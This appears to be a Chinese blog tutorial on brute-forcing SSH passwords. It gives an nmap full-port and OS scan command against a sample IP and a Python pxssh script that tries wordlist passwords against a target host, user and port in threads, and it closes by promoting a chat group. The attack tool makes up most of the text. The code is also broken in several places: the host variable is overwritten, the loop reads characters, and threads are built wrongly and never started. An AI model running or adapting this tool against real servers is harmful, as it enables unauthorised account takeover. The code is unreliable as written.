服務器暴力破解的程序(python開發)
首先我們看一下基本的原理以及過程
Paste_Image.png
我們首先看一下準備工作:
我們需要獲取目標機器的IP和SHH端口 ssh端口是可以改變的,所以我們需要去掃描機器的正確的ssh端口。我們使用nmap工具去掃描,使用下面這條命令就可以目標機器上面存在的所有的端口以及服務的名稱和使用軟件的版本號:
Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目標機器)
Paste_Image.png
大家可以看到我們的ssh端口是我們的12784。ssh版本是5.3
現在我們以及獲取到我們需要的信息了
IP:192.168.1.110 PORT:12784
我們可以開始破解了。
Paste_Image.png
大家可以看到password Found: vagrant
這個就是我們的目標機器的密碼:
#python pexpect pxssh遠程登錄 login()方法可以幫助我們去登錄目標機器
from pexpect import pxssh
import optparse #處理我們命令行參數的模塊
from threading import * #多線程 高并發 可以同時登錄多個密碼
import time
maxConnections = 5 #執行最大線程數 可以修改
#把maxConnection綁定到我們BoundedSemaphore方法 賦值給connection對象
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False #設置一個初始化值 false后面會用到
Failes = 0 #設置一個初始化值為0
def connect(host, user, password, ports, release): #傳了5個變量進去
global Found
global Failes
try:
s = pxssh.pxssh() #把方法綁定到對象s 方便調用
s.login(host,user,password,ports) #調用我們的pxssh.login方法并把參數傳進去
print '[+] Password Found:' +password #打印匹配到的密碼
Found = True #如果等于true就結束
except Exception, e:
if 'read_nonblocking' in str(e): #這個字符串表示主機連接次數過多,ssh不對外提供服務
Failes += 1
time.sleep(5) #休息5秒
connect(host,user,password,False) #重新調用connect函數
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <passwordfile> -P <port>")
#創建一個對象parser綁定一個幫助信息 自動生成
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-u', dest='user', type='string', help='specify target user')
parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file')
parser.add_option('-P', dest='ports', type='string', help='specify target ports')
#當我們輸入-p之后會把參數賦值給ports
(options, args)=parser.parse_args()
host = options.tgtHost
user = options.user
passwdFiles = options.passwdFile
host = options.passwdFile
ports = options.ports
if (host==None) | (user==None) | (passwdFiles==None) | (ports==None):
#判斷獲取的值是否為空,如果有一個為空就打印幫助信息
print parser.usage #打印幫助信息
exit()
fn = open(passwdFiles,'r') #使用open方法打開文件并綁定到fn這個對象
for line in fn.readline():
if Found:
print "[*] exiting: password Found"
exit()
if Failes > 5:
print "[!]exiting: Too many socket timeouts"
exit()
connection_lock.acquire() #鎖定
password = line.strip('\r\n')
print "[-] Testing: " +str(password)
t = Thread(target = connect(), args=(host, user, password, ports, True))
#啟動多線程,并傳入方法connet函數 args是函數的參數
if __name__ == '__main__':
main()
如果您對服務器暴力破解和Python相關知識有興趣,可以加群526929231
與大神們共同探討和學習哦!